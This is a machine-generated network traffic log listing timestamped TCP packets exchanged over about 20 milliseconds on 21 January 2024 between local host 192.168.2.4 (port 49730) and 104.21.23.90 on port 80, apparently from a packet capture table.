Jan 21, 2024 16:57:09.219547033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219585896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219604969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.219624043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219660044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219666958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.219696999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219733000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219738007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.219769955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219810009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.220431089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220468044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220504045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220515966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.220541954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220578909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220586061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.220616102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220653057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220659971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.220690012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220726967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.220733881 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.221206903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221262932 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.221301079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221337080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221374035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221388102 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.221410990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221447945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221458912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.221484900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221522093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221537113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.221560955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.221609116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.222140074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222177982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222213984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222227097 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.222251892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222286940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222300053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.222325087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222361088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222373009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.222398043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222434044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.222441912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223117113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223154068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223169088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223191023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223227024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223239899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223264933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223321915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223527908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223671913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223707914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223735094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223743916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223782063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223798037 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223819971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223855972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223865032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.223891973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223928928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.223936081 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.224457026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224493027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224507093 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.224529028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224565029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224575996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.224602938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224639893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224647045 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.224675894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224711895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224723101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.224749088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.224796057 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.225387096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225492954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225529909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225543022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.225567102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225605011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225615978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.225641012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225677967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225687027 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.225714922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225753069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.225758076 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.226288080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226325035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226339102 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.226403952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226439953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226450920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.226476908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226511955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226531029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.226547956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226584911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226598024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.226623058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.226666927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.227098942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227135897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227173090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227185965 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.227210045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227247000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227256060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.227283001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227319956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227328062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.227355957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227391958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227401018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.227442026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.227488995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.228090048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228157997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228193998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228208065 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.228231907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228267908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228280067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.228303909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228342056 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228352070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.228378057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228415966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228420973 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.228452921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.228496075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.229151011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229187965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229224920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229238033 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.229259968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229295969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229305983 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.229332924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229367971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229377031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.229404926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229439974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229448080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.229476929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.229521990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.230001926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230040073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230091095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.230140924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230211020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230247021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230261087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.230282068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230318069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230331898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.230354071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230391026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230397940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.230424881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230460882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230490923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.230496883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.230540991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.231273890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231311083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231347084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231360912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.231381893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231419086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231426001 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.231455088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231489897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231502056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.231525898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231563091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231566906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.231601954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.231658936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.232223034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232260942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232296944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232311964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.232335091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232369900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232384920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.232405901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232443094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232455015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.232480049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232517004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232522011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.232554913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.232604027 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.233032942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233165979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233202934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233217001 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.233238935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233273983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233288050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.233311892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233347893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233360052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.233383894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233418941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233428955 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.233457088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.233498096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.233947992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234088898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234124899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234138966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.234160900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234198093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234206915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.234234095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234270096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234280109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.234307051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234344006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234349966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.234380007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234421015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.234910965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234947920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234992981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.234997034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.235028982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235064983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235080004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.235100985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235136986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235146999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.235173941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235209942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235217094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.235246897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235291004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.235930920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.235968113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236005068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236037016 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.236044884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236080885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236093998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.236119032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236155033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236167908 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.236191034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236227036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236232042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.236264944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236308098 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.236778021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236816883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236852884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236866951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.236932039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236968994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.236980915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237005949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237041950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237051964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237078905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237114906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237119913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237152100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237195015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237698078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237735033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237785101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237801075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237838030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237874031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237884045 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237924099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237961054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.237988949 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.237998962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238034964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238045931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.238073111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238116026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.238621950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238660097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238697052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238707066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.238765955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238801956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238816023 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.238837957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238873959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238882065 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.238910913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238946915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.238953114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.238985062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239032984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.239494085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239708900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239746094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239772081 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.239782095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239819050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239833117 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.239855051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239891052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239903927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.239928961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239965916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.239973068 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.240004063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240052938 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.240504026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240541935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240580082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240588903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.240618944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240654945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240664005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.240691900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240727901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240737915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.240765095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240801096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.240804911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.240838051 CET	80	49730	104.21.23.90	192.168.2.4
